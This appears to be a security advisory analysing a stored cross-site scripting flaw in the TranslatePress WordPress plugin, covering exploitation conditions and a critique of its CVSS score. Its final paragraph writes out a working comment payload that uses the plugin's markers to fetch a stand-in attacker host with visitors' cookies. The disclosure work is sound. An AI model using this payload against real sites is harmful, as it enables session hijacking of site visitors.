TranslatePress EUVD-2026-62343

Three specific conditions must hold simultaneously for exploitation to succeed. First, the target WordPress site must have TranslatePress installed and at least one secondary language configured - the payload only activates during translate_page() rendering, which executes exclusively when content is served in a non-primary language; sites operating in a single language are not affected even if the plugin is installed. Second, WordPress comment submission must be accessible to unauthenticated users, which is the default configuration for most WordPress installations and controlled via Settings > Discussion > 'Anyone can comment.' Third, a site visitor must load the affected page or post in one of the configured secondary languages after the malicious comment has been stored. Exploitation is further constrained by comment moderation workflows - if comments require manual approval, there is a window for administrators to identify and delete the payload before any visitor triggers it - and by the proportion of site traffic that uses secondary languages rather than the default locale.

The reported CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) correctly captures the network accessibility, zero authentication requirement, and scope change to the victim's browser, but the UI:N designation warrants scrutiny. CVSS 3.1 guidance categorizes stored XSS as UI:R because a victim must navigate to the affected page before the payload executes - assigning UI:N inflates the base score by approximately one point; adjusting to UI:R yields roughly 6.1. The scope change (S:C) is well-founded: execution occurs within visitor browsers, a distinct security domain from the WordPress server. No EPSS data was provided. The vulnerability is absent from CISA's KEV catalog and no public exploit code has been identified, removing the most urgent exploitation signals. Despite these limiting factors, the practical attack barrier is very low: WordPress comment submission is open to anonymous users by default, the payload persists until the comment is manually removed, and the technique is straightforwardly reproducible from the published description alone. The primary real-world constraint is that the XSS only fires for visitors viewing the page in a configured secondary language, reducing blast radius on sites with limited multilingual traffic.

An attacker visits any publicly accessible WordPress post with commenting enabled, submits a comment containing the payload #!trpst#img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)#!trpen

without authentication, and waits for the comment to be published. When any visitor subsequently loads that page in a configured secondary language, TranslatePress's translate_page() function converts the markers to angle brackets, rendering the comment text as a live <img> tag whose onerror handler fires immediately - silently exfiltrating session cookies or performing other client-side actions within the victim's browser. No public exploit code has been identified at time of analysis, but the attack requires no specialized tooling and is straightforwardly reproducible from the published technical description.